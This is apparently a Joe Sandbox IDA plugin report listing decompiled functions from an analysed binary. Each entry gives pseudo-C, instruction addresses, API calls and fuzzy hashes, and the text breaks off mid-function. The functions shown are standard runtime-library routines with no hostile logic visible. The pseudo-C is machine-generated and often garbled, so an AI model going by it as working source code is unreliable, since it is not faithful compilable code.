Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: 52e809cd4da653044e7007faf5613bcc96453228249a88dc93cbea3a222c1dba
Instruction ID: 074deca5fc4da70c0739a6c067004c18d98ba94a74d51735b9c292895e8e7602
Opcode Fuzzy Hash: 52e809cd4da653044e7007faf5613bcc96453228249a88dc93cbea3a222c1dba
Instruction Fuzzy Hash: 8D118B75800119BBEF10AF55DC48DDF3F79EF41364F104126F824A22A0DB35CA96EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004016A8 Relevance: 6.0, APIs: 4, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004016A8(struct HDC__* __ecx, RECT* __edx, intOrPtr _a4, intOrPtr _a8, WCHAR* _a12) {
				struct HDC__* _v8;
				struct tagSIZE _v16;
				int _t20;
				RECT* _t28;
				RECT* _t29;
				struct HDC__* _t30;
				int _t32;

				_t28 = __edx;
				_t30 = __ecx;
				_t29 = __edx;
				_v8 = __ecx;
				GetTextExtentPoint32W(_t30, _a12, lstrlenW(_a12),  &_v16);
				if(_a4 != 0) {
					if(_a8 == 0) {
						_t32 = _t29->bottom - _v16.cy;
					} else {
						_t32 = _t29->top;
					}
					_t20 = lstrlenW(_a12);
					asm("cdq");
					ExtTextOutW(_v8, _t29->right - _v16.cx + _t29->left - _t28 >> 1, _t32, 4, _t29, _a12, _t20, 0);
				}
				return 1;
			}

0x004016a8
0x004016b3
0x004016b9
0x004016bb
0x004016c9
0x004016d3
0x004016d9
0x004016e3
0x004016db
0x004016db
0x004016db
0x004016eb
0x004016fe
0x0040170a
0x0040170a
0x00401718

APIs

lstrlenW.KERNEL32(?,?), ref: 004016BE
GetTextExtentPoint32W.GDI32(?,?,00000000), ref: 004016C9
lstrlenW.KERNEL32(?,00000000,?,?,00000000), ref: 004016EB
ExtTextOutW.GDI32(?,00000000,00000000,00000004,?,?,00000000), ref: 0040170A

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Textlstrlen$ExtentPoint32
String ID:
API String ID: 2058588642-0
Opcode ID: 3d996921ec8ddad02bc61899835b92fc23c5fda3bf2369814e5500e1504ad06a
Instruction ID: 933a20e25848bcfded38d5de8f98efbe81582bbe70bb3c9b9f4c1c686360419c
Opcode Fuzzy Hash: 3d996921ec8ddad02bc61899835b92fc23c5fda3bf2369814e5500e1504ad06a
Instruction Fuzzy Hash: E8015A76400209FFDB019FA8DC08AAEBB79FF05310F048565FE14A32A0D731AE60DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0043AEE6 Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E0043AEE6(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E0043B55F(__edx, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E0043C010(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E0043BAAF(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E0043ACF0(_t29, _t32, _t37);
				if(_t25 != 0) {
					E0043BFDE(_t25, _t30);
					return _t25;
				}
				return _t25;
			}

0x0043aee6
0x0043aee6
0x0043aee9
0x0043aeee
0x0043aef1
0x0043aef3
0x0043aef6
0x0043aef9
0x0043aefa
0x0043aefd
0x0043af02
0x0043af02
0x0043af05
0x0043af09
0x0043af0c
0x0043af11
0x0043af0e
0x0043af0e
0x0043af0e
0x0043af14
0x0043af1a
0x0043af1d
0x0043af1f
0x0043af22
0x0043af25
0x0043af26
0x0043af2f
0x0043af34
0x0043af37
0x0043af3d
0x0043af40
0x0043af43
0x0043af46
0x0043af47
0x0043af4a
0x0043af55
0x0043af59
0x00000000
0x0043af59
0x0043af60

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0043AEFD

Part of subcall function 0043B55F: ___AdjustPointer.LIBCMT ref: 0043B5A9

_UnwindNestedFrames.LIBCMT ref: 0043AF14
___FrameUnwindToState.LIBVCRUNTIME ref: 0043AF26
CallCatchBlock.LIBVCRUNTIME ref: 0043AF4A

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: d4d6c6883e045b1e6aa67314bb92174f826cf948eab81e74ea15b9ee94e6514d
Instruction ID: d6b1605ec65050092f45d437c3f307fcd60a65a88c72e76c94c7974318da79c8
Opcode Fuzzy Hash: d4d6c6883e045b1e6aa67314bb92174f826cf948eab81e74ea15b9ee94e6514d
Instruction Fuzzy Hash: 6B012D72040108BBCF126F55CC05EDA3B7AEF4C758F05501AFA5865121D33AE871DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004377C8 Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004377C8(void** _a4) {
				void* _t12;
				void** _t13;

				_t13 = _a4;
				_t12 = WriteConsoleW( *0x44b8a0,  *_t13, _t13[1], _t13[2], 0);
				if(_t12 == 0 && GetLastError() == 6) {
					E00437897();
					E00437859();
					_t12 = WriteConsoleW( *0x44b8a0,  *_t13, _t13[1], _t13[2], _t12);
				}
				return _t12;
			}

0x004377ce
0x004377e8
0x004377ec
0x004377f9
0x004377fe
0x00437818
0x00437818
0x0043781f

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 004377E2
GetLastError.KERNEL32 ref: 004377EE

Part of subcall function 00437897: CloseHandle.KERNEL32(FFFFFFFE,004378E1,?,00435F45,00000000,00000001,00000000,?,?,0042F004,?,00000000,00000000,?,?), ref: 004378A7

___initconout.LIBCMT ref: 004377FE

Part of subcall function 00437859: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00437888,00435F32,?,?,0042F004,?,00000000,00000000,?), ref: 0043786C

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00437812

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ef79f6263f78a00cccc44c12194632657b6be6619743b254bb85983983f243c3
Instruction ID: 19305179e44a827041f8cb4bfb66a98057992b61532bbb65dd5a90b2a557160b
Opcode Fuzzy Hash: ef79f6263f78a00cccc44c12194632657b6be6619743b254bb85983983f243c3
Instruction Fuzzy Hash: 3CF0FE3E100504ABCB323F96DC089467FA6EFCE765F104839F69982530DA329860DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004378AE Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004378AE(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x44b8a0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E00437897();
					E00437859();
					_t13 = WriteConsoleW( *0x44b8a0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x004378cb
0x004378cf
0x004378dc
0x004378e1
0x004378fc
0x004378fc
0x00437902

APIs

WriteConsoleW.KERNEL32(00000000,00000000,0040B5F0,00000000,00000000,?,00435F45,00000000,00000001,00000000,?,?,0042F004,?,00000000,00000000), ref: 004378C5
GetLastError.KERNEL32(?,00435F45,00000000,00000001,00000000,?,?,0042F004,?,00000000,00000000,?,?,?,0042F5C2,?), ref: 004378D1

Part of subcall function 00437897: CloseHandle.KERNEL32(FFFFFFFE,004378E1,?,00435F45,00000000,00000001,00000000,?,?,0042F004,?,00000000,00000000,?,?), ref: 004378A7

___initconout.LIBCMT ref: 004378E1

Part of subcall function 00437859: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00437888,00435F32,?,?,0042F004,?,00000000,00000000,?), ref: 0043786C

WriteConsoleW.KERNEL32(00000000,00000000,0040B5F0,00000000,?,00435F45,00000000,00000001,00000000,?,?,0042F004,?,00000000,00000000,?), ref: 004378F6

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6e582ee79fb1ed803e2630fc6a0962517340ea2a41cc3bde99d58195e4f98115
Instruction ID: 22b6f59ee15599036e5c73f0270e66a6ff9f85d653d9d85115b14f437bec4b43
Opcode Fuzzy Hash: 6e582ee79fb1ed803e2630fc6a0962517340ea2a41cc3bde99d58195e4f98115
Instruction Fuzzy Hash: 66F0AC3A505229BBCF263FA5EC0999A3F66FF4E3A5F144025FA5995130C6328860DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00403AF6 Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403AF6() {
				void* _t4;
				void* _t8;

				E0040475E();
				E004046DA();
				if(E00404140() != 0) {
					_t4 = E004040F2(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E00404191();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00403af6
0x00403afb
0x00403b07
0x00403b0c
0x00403b11
0x00403b13
0x00403b1e
0x00403b15
0x00403b15
0x00000000
0x00403b15
0x00403b09
0x00403b09
0x00403b0b
0x00403b0b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00403AF6
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00403AFB
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00403B00

Part of subcall function 00404140: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00404151

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00403B15

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 7a7498125a55d97f1734575f0e03abc808c245be13710037763309c14590fef9
Instruction ID: 5063de22238e8fde340bb7ff1e9f0e3fd58f9e9733011535d8d0ee6cf0641d0e
Opcode Fuzzy Hash: 7a7498125a55d97f1734575f0e03abc808c245be13710037763309c14590fef9
Instruction Fuzzy Hash: 33C0029410411150DC107FB321161592F1408E638D79014FBE7513F5C79A3F5946643E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E198 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0041E198(intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, signed char _a20) {
				signed int _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				intOrPtr* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t88;
				intOrPtr _t90;
				signed int _t93;
				signed int _t94;
				signed int _t108;
				signed int _t109;
				signed char _t111;
				signed int _t112;
				intOrPtr _t114;
				signed int _t115;
				signed int _t119;
				signed int _t122;
				intOrPtr* _t126;
				signed int _t133;
				signed int _t134;
				intOrPtr* _t140;
				signed int _t143;
				intOrPtr _t145;
				signed char _t148;
				signed int _t149;
				signed int _t150;
				intOrPtr* _t152;
				signed int _t153;
				signed int* _t157;
				signed int _t160;
				intOrPtr* _t161;
				intOrPtr* _t163;
				signed int _t165;
				void* _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t176;
				void* _t177;

				if(E0041C4A4( &_a8) == 0) {
					L5:
					_t152 = _a12;
					if(_t152 != 0) {
						 *_t152 = _a8;
					}
					L60:
					return 0;
				}
				_t173 = _a16;
				if(_t173 == 0 || _t173 >= 2 && _t173 <= 0x24) {
					_t88 = _a8;
					_t172 = 0;
					_v20 = _v20 & 0x00000000;
					_v44 = _t88;
					_t148 =  *_t88;
					_a8 = _t88 + 1;
					_t90 = _a4;
					_v12 = _t148;
					__eflags =  *((char*)(_t90 + 0x14));
					if( *((char*)(_t90 + 0x14)) == 0) {
						E0041C290(_t90, _t165);
						_t90 = _a4;
					}
					_t91 = _t90 + 0xc;
					_v16 = _t90 + 0xc;
					_t93 = E0041ED03(_t148, _t165, _t172, _t173, _t148 & 0x000000ff, 8, _t91);
					_t177 = _t176 + 0xc;
					__eflags = _t93;
					if(_t93 == 0) {
						L13:
						_t94 = _a20 & 0x000000ff;
						_v8 = _t94;
						__eflags = _t148 - 0x2d;
						if(_t148 != 0x2d) {
							__eflags = _t148 - 0x2b;
							if(_t148 != 0x2b) {
								_t153 = _a8;
								L18:
								__eflags = _t173;
								if(_t173 == 0) {
									L20:
									__eflags = _t148 - 0x30 - 9;
									if(_t148 - 0x30 > 9) {
										__eflags = _t148 - 0x61 - 0x19;
										if(_t148 - 0x61 > 0x19) {
											__eflags = _t148 - 0x41 - 0x19;
											if(_t148 - 0x41 > 0x19) {
												L35:
												__eflags = _t173;
												if(_t173 == 0) {
													_t173 = 0xa;
												}
												L37:
												_t101 = _t173;
												asm("cdq");
												_t154 = _t165;
												_v28 = _t173;
												_v24 = _t165;
												_v36 = E0043A380(0xffffffff, 0xffffffff, _t101, _t154);
												_v32 = _t165;
												while(1) {
													__eflags = _t148 - 0x30 - 9;
													if(_t148 - 0x30 > 9) {
														__eflags = _t148 - 0x61 - 0x19;
														if(_t148 - 0x61 > 0x19) {
															_t108 = _t148 - 0x41;
															__eflags = _t108 - 0x19;
															if(_t108 > 0x19) {
																_t109 = _t108 | 0xffffffff;
																__eflags = _t109;
															} else {
																_t109 = _t148 + 0xffffffc9;
															}
														} else {
															_t109 = _t148 + 0xffffffa9;
														}
													} else {
														_t109 = _t148 + 0xffffffd0;
													}
													_v16 = _t109;
													__eflags = _t109 - _t173;
													if(_t109 >= _t173) {
														break;
													}
													_t150 = _v20;
													_v20 = E0043A340(_v28, _v24, _t150, _t172);
													_t160 = _v16 + _v20;
													_v40 = _t165;
													asm("adc eax, edx");
													_v16 = 0;
													__eflags = _t172 - _v32;
													if(__eflags < 0) {
														L50:
														_t165 = 0;
														__eflags = 0;
														L51:
														__eflags = 0 - _v40;
														if(__eflags > 0) {
															L55:
															_t122 = 0;
															__eflags = 0;
															L56:
															_t172 = _v16;
															_v20 = _t160;
															_v8 = _v8 | (_t122 | _t165) << 0x00000002 | 0x00000008;
															_t126 = _a8;
															_t148 =  *_t126;
															_v12 = _t148;
															_a8 = _t126 + 1;
															continue;
														}
														if(__eflags < 0) {
															L54:
															_t122 = 1;
															goto L56;
														}
														__eflags = _t160 - _v20;
														if(_t160 >= _v20) {
															goto L55;
														}
														goto L54;
													}
													if(__eflags > 0) {
														L49:
														_t165 = 1;
														goto L51;
													}
													__eflags = _t150 - _v36;
													if(_t150 <= _v36) {
														goto L50;
													}
													goto L49;
												}
												E0041C052( &_a8, _v12);
												_t111 = _v8;
												__eflags = _t111 & 0x00000008;
												if((_t111 & 0x00000008) != 0) {
													_t149 = _v20;
													_t112 = E0041D8EB(_t111, _t149, _t172);
													__eflags = _t112;
													if(_t112 == 0) {
														__eflags = _v8 & 0x00000002;
														if((_v8 & 0x00000002) != 0) {
															_t149 =  ~_t149;
															asm("adc edi, 0x0");
															_t172 =  ~_t172;
														}
														L73:
														_t174 = _a12;
														__eflags = _t174;
														if(_t174 != 0) {
															 *_t174 = _a8;
														}
														return _t149;
													}
													_t114 = _a4;
													 *((char*)(_t114 + 0x1c)) = 1;
													 *((intOrPtr*)(_t114 + 0x18)) = 0x22;
													_t115 = _v8;
													__eflags = _t115 & 0x00000001;
													if((_t115 & 0x00000001) != 0) {
														_t157 = _a12;
														__eflags = _t115 & 0x00000002;
														if((_t115 & 0x00000002) == 0) {
															__eflags = _t157;
															if(_t157 != 0) {
																_t115 = _a8;
																 *_t157 = _t115;
															}
															return _t115 | 0xffffffff;
														}
														__eflags = _t157;
														if(_t157 != 0) {
															 *_t157 = _a8;
														}
														return 0;
													}
													_t149 = _t149 | 0xffffffff;
													_t172 = _t172 | 0xffffffff;
													goto L73;
												}
												_t119 = _a12;
												__eflags = _t119;
												if(_t119 != 0) {
													 *_t119 = _v44;
												}
												goto L60;
											}
											_t133 = _t148 + 0xffffffc9;
											__eflags = _t133;
											L26:
											__eflags = _t133;
											if(_t133 != 0) {
												goto L35;
											}
											_t134 =  *_t153;
											_t161 = _t153 + 1;
											_v16 = _t134;
											_a8 = _t161;
											__eflags = _t134 - 0x78;
											if(_t134 == 0x78) {
												L32:
												__eflags = _t173;
												if(_t173 == 0) {
													_t173 = 0x10;
												}
												_t148 =  *_t161;
												_v12 = _t148;
												_a8 = _t161 + 1;
												goto L37;
											}
											__eflags = _t134 - 0x58;
											if(_t134 == 0x58) {
												goto L32;
											}
											__eflags = _t173;
											if(_t173 == 0) {
												_t173 = 8;
											}
											E0041C052( &_a8, _v16);
											goto L37;
										}
										_t133 = _t148 + 0xffffffa9;
										goto L26;
									}
									_t133 = _t148 + 0xffffffd0;
									goto L26;
								}
								__eflags = _t173 - 0x10;
								if(_t173 != 0x10) {
									goto L37;
								}
								goto L20;
							}
							L16:
							_t163 = _a8;
							_t148 =  *_t163;
							_t153 = _t163 + 1;
							_v12 = _t148;
							_a8 = _t153;
							goto L18;
						}
						_v8 = _t94 | 0x00000002;
						goto L16;
					}
					_t175 = _v16;
					do {
						_t140 = _a8;
						_t148 =  *_t140;
						_a8 = _t140 + 1;
						_v12 = _t148;
						_t143 = E0041ED03(_t148, _t165, _t172, _t175, _t148 & 0x000000ff, 8, _t175);
						_t177 = _t177 + 0xc;
						__eflags = _t143;
					} while (_t143 != 0);
					_t173 = _a16;
					goto L13;
				} else {
					_t145 = _a4;
					 *((char*)(_t145 + 0x1c)) = 1;
					 *((intOrPtr*)(_t145 + 0x18)) = 0x16;
					E0041F0ED(_t171, _t173, 0, 0, 0, 0, 0, _t145);
					goto L5;
				}
			}

0x0041e1ad
0x0041e1de
0x0041e1de
0x0041e1e3
0x0041e1ec
0x0041e1ec
0x0041e3dd
0x00000000
0x0041e3df
0x0041e1af
0x0041e1b4
0x0041e1f3
0x0041e1f6
0x0041e1f8
0x0041e1fc
0x0041e1ff
0x0041e202
0x0041e205
0x0041e208
0x0041e20b
0x0041e20f
0x0041e213
0x0041e218
0x0041e218
0x0041e21b
0x0041e21f
0x0041e228
0x0041e22d
0x0041e230
0x0041e232
0x0041e259
0x0041e259
0x0041e25d
0x0041e260
0x0041e263
0x0041e26d
0x0041e270
0x0041e280
0x0041e283
0x0041e283
0x0041e285
0x0041e28c
0x0041e290
0x0041e292
0x0041e2a0
0x0041e2a2
0x0041e2b0
0x0041e2b2
0x0041e2f7
0x0041e2f7
0x0041e2f9
0x0041e2fd
0x0041e2fd
0x0041e2fe
0x0041e2fe
0x0041e300
0x0041e301
0x0041e303
0x0041e30c
0x0041e314
0x0041e317
0x0041e31a
0x0041e31e
0x0041e320
0x0041e32e
0x0041e330
0x0041e33c
0x0041e33e
0x0041e340
0x0041e34a
0x0041e34a
0x0041e342
0x0041e345
0x0041e345
0x0041e332
0x0041e335
0x0041e335
0x0041e322
0x0041e325
0x0041e325
0x0041e34d
0x0041e350
0x0041e352
0x00000000
0x00000000
0x0041e354
0x0041e367
0x0041e36c
0x0041e36f
0x0041e372
0x0041e374
0x0041e377
0x0041e37a
0x0041e388
0x0041e388
0x0041e388
0x0041e38a
0x0041e38a
0x0041e38d
0x0041e39b
0x0041e39b
0x0041e39b
0x0041e39d
0x0041e39d
0x0041e3a8
0x0041e3ab
0x0041e3ae
0x0041e3b1
0x0041e3b4
0x0041e3b7
0x00000000
0x0041e3b7
0x0041e38f
0x0041e396
0x0041e398
0x00000000
0x0041e398
0x0041e391
0x0041e394
0x00000000
0x00000000
0x00000000
0x0041e394
0x0041e37c
0x0041e383
0x0041e385
0x00000000
0x0041e385
0x0041e37e
0x0041e381
0x00000000
0x00000000
0x00000000
0x0041e381
0x0041e3c5
0x0041e3ca
0x0041e3cd
0x0041e3cf
0x0041e3e3
0x0041e3e9
0x0041e3f1
0x0041e3f3
0x0041e43e
0x0041e442
0x0041e444
0x0041e446
0x0041e449
0x0041e449
0x0041e44b
0x0041e44b
0x0041e44e
0x0041e450
0x0041e455
0x0041e455
0x00000000
0x0041e459
0x0041e3f5
0x0041e3f8
0x0041e3fc
0x0041e403
0x0041e406
0x0041e408
0x0041e412
0x0041e415
0x0041e417
0x0041e42b
0x0041e42d
0x0041e42f
0x0041e432
0x0041e432
0x00000000
0x0041e437
0x0041e419
0x0041e41b
0x0041e420
0x0041e420
0x00000000
0x0041e424
0x0041e40a
0x0041e40d
0x00000000
0x0041e40d
0x0041e3d1
0x0041e3d4
0x0041e3d6
0x0041e3db
0x0041e3db
0x00000000
0x0041e3d6
0x0041e2b7
0x0041e2b7
0x0041e2ba
0x0041e2ba
0x0041e2bc
0x00000000
0x00000000
0x0041e2be
0x0041e2c0
0x0041e2c1
0x0041e2c4
0x0041e2c7
0x0041e2c9
0x0041e2e3
0x0041e2e3
0x0041e2e5
0x0041e2e9
0x0041e2e9
0x0041e2ea
0x0041e2ef
0x0041e2f2
0x00000000
0x0041e2f2
0x0041e2cb
0x0041e2cd
0x00000000
0x00000000
0x0041e2cf
0x0041e2d1
0x0041e2d5
0x0041e2d5
0x0041e2dc
0x00000000
0x0041e2dc
0x0041e2a7
0x00000000
0x0041e2a7
0x0041e297
0x00000000
0x0041e297
0x0041e287
0x0041e28a
0x00000000
0x00000000
0x00000000
0x0041e28a
0x0041e272
0x0041e272
0x0041e275
0x0041e277
0x0041e278
0x0041e27b
0x00000000
0x0041e27b
0x0041e268
0x00000000
0x0041e268
0x0041e234
0x0041e237
0x0041e237
0x0041e23d
0x0041e240
0x0041e247
0x0041e24a
0x0041e24f
0x0041e252
0x0041e252
0x0041e256
0x00000000
0x0041e1c0
0x0041e1c0
0x0041e1c4
0x0041e1c8
0x0041e1d6
0x00000000
0x0041e1db

APIs

__aulldiv.LIBCMT ref: 0041E30F

Strings

-, xrefs: 0041E260
+, xrefs: 0041E26D

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 2463409298cf016e1f683f3705ffdaf385a2360dacbcdc523155cee1220fc72f
Instruction ID: ad05776d2cca18554000b65d1b84f4afe65f299759716952998259f36cd2e265
Opcode Fuzzy Hash: 2463409298cf016e1f683f3705ffdaf385a2360dacbcdc523155cee1220fc72f
Instruction Fuzzy Hash: 64A1E734E401589FCF24CE7AC8506EE7BA5EF56324F14859BECB5DB381C238D9828B59

Uniqueness

Uniqueness Score: -1.00%

Function 004358FB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 155
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E004358FB(signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr _a16) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				int _v28;
				int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				int _t53;
				signed int _t54;
				int _t57;
				long _t58;
				intOrPtr _t60;
				int _t61;
				void* _t62;
				intOrPtr _t66;
				int _t69;
				void* _t72;
				int _t75;
				signed int _t78;
				intOrPtr _t79;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				void* _t84;
				int _t89;

				_t78 = __edx;
				_t67 = _a4;
				_t3 =  &_a12; // 0x42e56d
				E0043572D( &_v48, __edx, _a4, _a8,  *_t3);
				if((_v48 & _v44) == 0xffffffff || (_v40 & _v36) == 0xffffffff) {
					_t79 = _a16;
					__eflags =  *((char*)(_t79 + 0x1c));
					if( *((char*)(_t79 + 0x1c)) == 0) {
						_t80 = 0x16;
						goto L36;
					}
					goto L34;
				} else {
					_t69 = _v28;
					_t53 = _v32;
					_v12 = _t69;
					_v8 = _t53;
					_t89 = _t69;
					if(_t89 < 0) {
						L28:
						_t54 = E0041F88F(_t78, _t67, _a8, _a12, 0);
						_t84 = _t84 + 0x10;
						__eflags = (_t54 & _t78) - 0xffffffff;
						if((_t54 & _t78) != 0xffffffff) {
							_t57 = SetEndOfFile(E004267AD(_t67));
							__eflags = _t57;
							if(_t57 != 0) {
								L17:
								_t80 = 0;
								L36:
								E0041F88F(_t78, _v24, _v48, _v44, 0);
								return _t80;
							}
							_t82 = _a16;
							_t58 = GetLastError();
							 *((char*)(_t82 + 0x24)) = 1;
							 *(_t82 + 0x20) = _t58;
							_t80 = 0xd;
							 *((char*)(_t82 + 0x1c)) = 1;
							 *((intOrPtr*)(_t82 + 0x18)) = _t80;
							goto L36;
						}
						_t79 = _a16;
						__eflags =  *((char*)(_t79 + 0x1c));
						if( *((char*)(_t79 + 0x1c)) == 0) {
							goto L17;
						}
						L34:
						_t80 =  *((intOrPtr*)(_t79 + 0x18));
						goto L36;
					}
					if(_t89 > 0 || _t53 != 0) {
						_t83 = E004108CD(0x1000, 1);
						_pop(_t72);
						if(_t59 != 0) {
							_t60 = E0040E20E(_t72, _t67, 0x8000);
							_t81 = _a16;
							_t75 = _v32;
